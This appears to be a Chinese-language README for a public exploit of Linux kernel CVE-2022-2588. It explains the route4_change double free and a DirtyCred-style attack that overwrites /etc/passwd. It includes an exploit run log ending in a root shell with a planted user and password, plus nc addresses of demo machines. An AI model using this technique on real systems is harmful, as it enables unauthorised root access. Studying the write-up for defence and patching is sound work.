
exploit for CVE-2022-2588
该漏洞在 Linux v5.19 中通过此提交修复。
该漏洞是在 2014 年的 Linux v3.17 中通过此提交引入的。触发它需要用户命名空间。这个漏洞与 CVE-2021-3715 非常相似,后者是由对 route4_filter 链表的错误操作引起的。关于 CVE-2021-3715 的更多细节可以在黑帽演讲(第16页)中找到。以下是对 CVE-2022-2588 的一些简要介绍。
下面展示了函数 route4_change 的一些重要代码片段,以帮助理解 CVE-2022-2588。
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
该函数用于初始化/替换 route4_filter 对象。过滤器使用 handle 作为唯一标识来区分每个过滤器。如果存在一个已经初始化过的句柄(即 fold 变量不为空),则通过移除旧过滤器并添加新过滤器来更新它;否则,直接添加一个新过滤器。
在 [0] 中,内核分配了 route4_filter 对象。在 [1] 中,如果 fold 不为空(即存在具有相同句柄的过滤器),则将一些信息复制到新过滤器,并在 [2] 中初始化新过滤器,然后在 [3] 中将新过滤器插入链表。如果旧过滤器存在,则在 [4] 中将其从链表中移除,并在 [6] 中释放。
漏洞出现在 [4] 中,该处检查是否存在需要移除的旧过滤器。条件确保句柄不应为零且应与新过滤器的句柄匹配。这个条件与 [6] 中释放过滤器的条件不一致,后者仅检查旧过滤器是否存在。因此,如果用户创建一个句柄为 0 的过滤器,然后触发它的替换,该过滤器将不会在 [4] 中被解除链接,但会在 [6] 中被释放,因为它们的条件不同。
由于这个漏洞与 CVE-2021-3715 相似,它们的原语几乎相同。读者可以参考黑帽演讲获取原语的更详细描述。这篇 write-up 展示了基于 DirtyCred 思路的利用。
由于被释放的 fold 在触发漏洞后仍然在链表中,我们可以再次释放 fold,最终会导致对 route4_filer 对象发生双重释放,如果启用了 CONFIG_NET_CLS_ACT,还会对 route4_filter->exts.action 对象发生双重释放。
利用代码利用这两种双重释放能力来演示对任务凭证(利用 kmalloc-192 双重释放,稍后完善)和打开文件凭证(利用 kmalloc-256 双重释放)的攻击。
遵循 DirtyCred 的思路,利用代码在权限检查后交换文件凭证,这样我们就可以对具有读取权限的文件写入任意内容。理想情况下,该代码可以在受该漏洞影响的所有内核版本上运行。需要注意的是,为了确保代码能在较老的内核(其中 msg_msg 被隔离在 kmalloc-rcl-* 中)上运行,利用使用了不同的喷射对象。
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
该利用代码旨在尽可能多的发行版上工作。已确认可在以下系统上工作:
(如果您发现它可以在其他内核上工作,请随时发送 PR 来更新此列表。)
请使用用户名 low 和密码 low 登录
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338